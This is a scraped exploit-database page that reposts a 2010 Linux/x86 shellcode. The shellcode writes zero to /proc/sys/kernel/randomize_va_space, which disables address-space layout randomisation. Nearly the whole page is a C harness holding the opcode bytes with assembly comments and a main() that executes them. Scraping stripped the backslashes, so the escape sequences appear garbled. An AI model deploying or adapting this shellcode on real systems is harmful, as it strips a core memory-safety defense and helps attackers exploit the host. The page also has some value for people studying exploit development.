Home / os / win7

linux/x86 - Disable randomize stack addresse - 106 bytes

Posted on 25 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 - Disable randomize stack addresse - 106 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================== linux/x86 - Disable randomize stack addresse - 106 bytes ======================================================== /* Title: Linux/x86 - Disable randomize stack addresse - 106 bytes (Set randomize_va_space to zero) Author: Jonathan Salwan &lt;submit (!) shell-storm.org&gt; Web: http://www.shell-storm.org Twitter: http://twitter.com/shell_storm !Database of Shellcodes http://www.shell-storm.org/shellcode/ Date: 2010-05-25 Tested: Linux 2.6.33 - i686 ! You need root euid */ #include &lt;stdio.h&gt; char sc[] = &quot;x31xdb&quot; // xor %ebx,%ebx &quot;x6ax61&quot; // push $0x61 &quot;x89xe3&quot; // mov %esp,%ebx &quot;xb0x0a&quot; // mov $0xa,%al &quot;xcdx80&quot; // int $0x80 &quot;x31xdb&quot; // xor %ebx,%ebx &quot;x6ax65&quot; // push $0x65 &quot;x66x68x61x63&quot; // pushw $0x6361 &quot;x68x61x5fx73x70&quot; // push $0x70735f61 &quot;x68x7ax65x5fx76&quot; // push $0x765f657a &quot;x68x64x6fx6dx69&quot; // push $0x696d6f64 &quot;x68x2fx72x61x6e&quot; // push $0x6e61722f &quot;x68x72x6ex65x6c&quot; // push $0x6c656e72 &quot;x68x73x2fx6bx65&quot; // push $0x656b2f73 &quot;x68x63x2fx73x79&quot; // push $0x79732f63 &quot;x68x2fx70x72x6f&quot; // push $0x6f72702f &quot;x89xe3&quot; // mov %esp,%ebx &quot;x30xc0&quot; // xor %al,%al &quot;xb0x11&quot; // mov $0x11,%al &quot;x31xc9&quot; // xor %ecx,%ecx &quot;x66xb9x41x04&quot; // mov $0x441,%cx &quot;x31xd2&quot; // xor %edx,%edx &quot;x66xbaxa4x01&quot; // mov $0x1a4,%dx &quot;x31xc0&quot; // xor %eax,%eax &quot;xb0x05&quot; // mov $0x5,%al &quot;xcdx80&quot; // int $0x80 &quot;x89xc3&quot; // mov %eax,%ebx &quot;x31xc9&quot; // xor %ecx,%ecx &quot;x66x68x30x0a&quot; // pushw $0xa30 &quot;x89xe1&quot; // mov %esp,%ecx &quot;x31xd2&quot; // xor %edx,%edx &quot;xb2x02&quot; // mov $0x2,%dl &quot;x31xc0&quot; // xor %eax,%eax &quot;xb0x04&quot; // mov $0x4,%al &quot;xcdx80&quot; // int $0x80 &quot;xb0x01&quot; // mov $0x1,%al &quot;xcdx80&quot;; // int $0x80 int main(void) { fprintf(stdout,&quot;Length: %d &quot;,strlen(sc)); (*(void(*)()) sc)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP